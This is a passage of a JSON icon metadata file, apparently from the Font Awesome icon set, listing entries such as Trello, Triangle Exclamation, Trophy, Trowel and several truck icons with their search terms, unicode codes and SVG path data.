32c-18 0-32-14-32-32V320H80c-45 0-80-35-80-80c0-26 13-50 33-64c-1-5-1-10-1-16c0-53 42-96 96-96c53 0 96 43 96 96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM224 160c0 6-1 11-2 16c20 14 34 38 34 64c0 45-36 80-80 80H160V480c0 18-15 32-32 32c-18 0-32-14-32-32V320H80c-45 0-80-35-80-80c0-26 13-50 33-64c-1-5-1-10-1-16c0-53 42-96 96-96c53 0 96 43 96 96z"
      }
    },
    "free": ["solid"]
  },
  "trello": {
    "changes": ["3.2.0", "5.0.0", "5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian"]
    },
    "styles": ["brands"],
    "unicode": "f181",
    "label": "Trello",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"
      }
    },
    "free": ["brands"]
  },
  "triangle-exclamation": {
    "aliases": {
      "names": ["exclamation-triangle", "warning"],
      "unicodes": {
        "composite": ["26a0"],
        "secondary": ["10f071"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.6.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "alert",
        "danger",
        "error",
        "important",
        "notice",
        "notification",
        "notify",
        "problem",
        "warnin",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f071",
    "label": "Triangle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480H40c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24V296c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480H40c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24V296c0 13.3 10.7 24 24 24s24-10.7 24-24V184c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["solid"]
  },
  "trophy": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3c6"],
        "secondary": ["10f091"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "cup",
        "game",
        "prize",
        "trophy",
        "winner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f091",
    "label": "Trophy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M400 0H176c-26.5 0-48.1 21.8-47.1 48.2c.2 5.3 .4 10.6 .7 15.8H24C10.7 64 0 74.7 0 88c0 92.6 33.5 157 78.5 200.7c44.3 43.1 98.3 64.8 138.1 75.8c23.4 6.5 39.4 26 39.4 45.6c0 20.9-17 37.9-37.9 37.9H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H357.9C337 448 320 431 320 410.1c0-19.6 15.9-39.2 39.4-45.6c39.9-11 93.9-32.7 138.2-75.8C542.5 245 576 180.6 576 88c0-13.3-10.7-24-24-24H446.4c.3-5.2 .5-10.4 .7-15.8C448.1 21.8 426.5 0 400 0zM48.9 112h84.4c9.1 90.1 29.2 150.3 51.9 190.6c-24.9-11-50.8-26.5-73.2-48.3c-32-31.1-58-76-63-142.3zM464.1 254.3c-22.4 21.8-48.3 37.3-73.2 48.3c22.7-40.3 42.8-100.5 51.9-190.6h84.4c-5.1 66.3-31.1 111.2-63 142.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M400 0H176c-26.5 0-48.1 21.8-47.1 48.2c.2 5.3 .4 10.6 .7 15.8H24C10.7 64 0 74.7 0 88c0 92.6 33.5 157 78.5 200.7c44.3 43.1 98.3 64.8 138.1 75.8c23.4 6.5 39.4 26 39.4 45.6c0 20.9-17 37.9-37.9 37.9H192c-17.7 0-32 14.3-32 32s14.3 32 32 32H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H357.9C337 448 320 431 320 410.1c0-19.6 15.9-39.2 39.4-45.6c39.9-11 93.9-32.7 138.2-75.8C542.5 245 576 180.6 576 88c0-13.3-10.7-24-24-24H446.4c.3-5.2 .5-10.4 .7-15.8C448.1 21.8 426.5 0 400 0zM48.9 112h84.4c9.1 90.1 29.2 150.3 51.9 190.6c-24.9-11-50.8-26.5-73.2-48.3c-32-31.1-58-76-63-142.3zM464.1 254.3c-22.4 21.8-48.3 37.3-73.2 48.3c22.7-40.3 42.8-100.5 51.9-190.6h84.4c-5.1 66.3-31.1 111.2-63 142.3z"
      }
    },
    "free": ["solid"]
  },
  "trowel": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["build", "construction", "tool"]
    },
    "styles": ["solid"],
    "unicode": "e589",
    "label": "Trowel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M343.9 213.4L245.3 312l65.4 65.4c7.9 7.9 11.1 19.4 8.4 30.3s-10.8 19.6-21.5 22.9l-256 80c-11.4 3.5-23.8 .5-32.2-7.9S-2.1 481.8 1.5 470.5l80-256c3.3-10.7 12-18.9 22.9-21.5s22.4 .5 30.3 8.4L200 266.7l98.6-98.6c-14.3-14.6-14.2-38 .3-52.5l95.4-95.4c26.9-26.9 70.5-26.9 97.5 0s26.9 70.5 0 97.5l-95.4 95.4c-14.5 14.5-37.9 14.6-52.5 .3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M343.9 213.4L245.3 312l65.4 65.4c7.9 7.9 11.1 19.4 8.4 30.3s-10.8 19.6-21.5 22.9l-256 80c-11.4 3.5-23.8 .5-32.2-7.9S-2.1 481.8 1.5 470.5l80-256c3.3-10.7 12-18.9 22.9-21.5s22.4 .5 30.3 8.4L200 266.7l98.6-98.6c-14.3-14.6-14.2-38 .3-52.5l95.4-95.4c26.9-26.9 70.5-26.9 97.5 0s26.9 70.5 0 97.5l-95.4 95.4c-14.5 14.5-37.9 14.6-52.5 .3z"
      }
    },
    "free": ["solid"]
  },
  "trowel-bricks": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["build", "construction", "reconstruction", "tool"]
    },
    "styles": ["solid"],
    "unicode": "e58a",
    "label": "Trowel Bricks",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M240.8 4.8C250.3 10.6 256 20.9 256 32v72h89c3.6-13.8 16.1-24 31-24h88c26.5 0 48 21.5 48 48s-21.5 48-48 48H376c-14.9 0-27.4-10.2-31-24H256v72c0 11.1-5.7 21.4-15.2 27.2s-21.2 6.4-31.1 1.4l-192-96C6.8 151.2 0 140.1 0 128s6.8-23.2 17.7-28.6l192-96c9.9-5 21.7-4.4 31.1 1.4zM288 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V256zM32 384h96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32zm192 0H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M240.8 4.8C250.3 10.6 256 20.9 256 32v72h89c3.6-13.8 16.1-24 31-24h88c26.5 0 48 21.5 48 48s-21.5 48-48 48H376c-14.9 0-27.4-10.2-31-24H256v72c0 11.1-5.7 21.4-15.2 27.2s-21.2 6.4-31.1 1.4l-192-96C6.8 151.2 0 140.1 0 128s6.8-23.2 17.7-28.6l192-96c9.9-5 21.7-4.4 31.1 1.4zM288 256c0-17.7 14.3-32 32-32H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H320c-17.7 0-32-14.3-32-32V256zM32 384h96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32zm192 0H480c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "truck": {
    "aliases": {
      "unicodes": {
        "composite": ["1f69a", "26df"],
        "secondary": ["10f0d1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Truck",
        "cargo",
        "delivery",
        "delivery truck",
        "shipping",
        "truck",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0d1",
    "label": "Truck",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V368c0 26.5 21.5 48 48 48H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H48zM416 160h50.7L544 237.3V256H416V160zM112 416a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V368c0 26.5 21.5 48 48 48H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H48zM416 160h50.7L544 237.3V256H416V160zM112 416a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "truck-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["access", "fast", "shipping", "transport"]
    },
    "styles": ["solid"],
    "unicode": "e58b",
    "label": "Truck Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM257 95c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H262.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9L257 95z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM257 95c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H262.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9L257 95z"
      }
    },
    "free": ["solid"]
  },
  "truck-droplet": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["thirst", "truck", "water", "water supply"]
    },
    "styles": ["solid"],
    "unicode": "e58c",
    "label": "Truck Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM208 272c39.8 0 72-29.6 72-66c0-27-39.4-82.9-59.9-110.3c-6.1-8.2-18.1-8.2-24.2 0C175.4 123 136 179 136 206c0 36.5 32.2 66 72 66z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM208 272c39.8 0 72-29.6 72-66c0-27-39.4-82.9-59.9-110.3c-6.1-8.2-18.1-8.2-24.2 0C175.4 123 136 179 136 206c0 36.5 32.2 66 72 66z"
      }
    },
    "free": ["solid"]
  },
  "truck-fast": {
    "aliases": {
      "names": ["shipping-fast"],
      "unicodes": {
        "secondary": ["10f48b"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["express", "fedex", "mail", "overnight", "package", "ups"]
    },
    "styles": ["solid"],
    "unicode": "f48b",
    "label": "Truck Fast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M112 0C85.5 0 64 21.5 64 48V96H16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 272c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 48c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 240c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 208c8.8 0 16 7.2 16 16s-7.2 16-16 16H64V416c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H112zM544 237.3V256H416V160h50.7L544 237.3zM160 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm272 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M112 0C85.5 0 64 21.5 64 48V96H16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 272c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 48c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 240c8.8 0 16 7.2 16 16s-7.2 16-16 16H64 16c-8.8 0-16 7.2-16 16s7.2 16 16 16H64 208c8.8 0 16 7.2 16 16s-7.2 16-16 16H64V416c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288 256 237.3c0-17-6.7-33.3-18.7-45.3L512 114.7c-12-12-28.3-18.7-45.3-18.7H416V48c0-26.5-21.5-48-48-48H112zM544 237.3V256H416V160h50.7L544 237.3zM160 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm272 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-field": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["supplies", "truck"]
    },
    "styles": ["solid"],
    "unicode": "e58d",
    "label": "Truck Field",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 96c0-35.3 28.7-64 64-64H320c23.7 0 44.4 12.9 55.4 32h51.8c25.3 0 48.2 14.9 58.5 38l52.8 118.8c.5 1.1 .9 2.1 1.3 3.2H544c35.3 0 64 28.7 64 64v32c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V288c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32V96zM384 224h85.9l-42.7-96H384v96zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 96c0-35.3 28.7-64 64-64H320c23.7 0 44.4 12.9 55.4 32h51.8c25.3 0 48.2 14.9 58.5 38l52.8 118.8c.5 1.1 .9 2.1 1.3 3.2H544c35.3 0 64 28.7 64 64v32c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V288c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32V96zM384 224h85.9l-42.7-96H384v96zM160 432a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-field-un": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["supplies", "truck", "united nations"]
    },
    "styles": ["solid"],
    "unicode": "e58e",
    "label": "Truck Field Un",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 32C60.7 32 32 60.7 32 96v32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32v32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288c0-35.3-28.7-64-64-64h-4.2c-.4-1.1-.9-2.1-1.3-3.2L485.7 102c-10.3-23.1-33.2-38-58.5-38H375.4C364.4 44.9 343.7 32 320 32H96zm288 96h43.2l42.7 96H384V128zM112 384a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM253.3 135.1l34.7 52V144c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V144c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM128 144v64c0 8.8 7.2 16 16 16s16-7.2 16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V144c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 32C60.7 32 32 60.7 32 96v32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32v32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c0 53 43 96 96 96s96-43 96-96H384c0 53 43 96 96 96s96-43 96-96h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V288c0-35.3-28.7-64-64-64h-4.2c-.4-1.1-.9-2.1-1.3-3.2L485.7 102c-10.3-23.1-33.2-38-58.5-38H375.4C364.4 44.9 343.7 32 320 32H96zm288 96h43.2l42.7 96H384V128zM112 384a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm368-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM253.3 135.1l34.7 52V144c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V144c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM128 144v64c0 8.8 7.2 16 16 16s16-7.2 16-16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V144c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "truck-front": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["shuttle", "truck", "van"]
    },
    "styles": ["solid"],
    "unicode": "e2b7",
    "label": "Truck Front",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 80C0 35.8 35.8 0 80 0H432c44.2 0 80 35.8 80 80V368c0 26.2-12.6 49.4-32 64v48c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V432C12.6 417.4 0 394.2 0 368V80zm129.9 72.2L112 224H400l-17.9-71.8C378.5 138 365.7 128 351 128H161c-14.7 0-27.5 10-31 24.2zM128 320a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 80C0 35.8 35.8 0 80 0H432c44.2 0 80 35.8 80 80V368c0 26.2-12.6 49.4-32 64v48c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V432C12.6 417.4 0 394.2 0 368V80zm129.9 72.2L112 224H400l-17.9-71.8C378.5 138 365.7 128 351 128H161c-14.7 0-27.5 10-31 24.2zM128 320a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "truck-medical": {
    "aliases": {
      "names": ["ambulance"],
      "unicodes": {
        "composite": ["1f691"],
        "secondary": ["10f0f9"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "ambulance",
        "clinic",
        "covid-19",
        "emergency",
        "emt",
        "er",
        "help",
        "hospital",
        "mobile",
        "support",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f9",
    "label": "Truck Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM176 80v48l-48 0c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V192h48c8.8 0 16-7.2 16-16V144c0-8.8-7.2-16-16-16H240V80c0-8.8-7.2-16-16-16H192c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
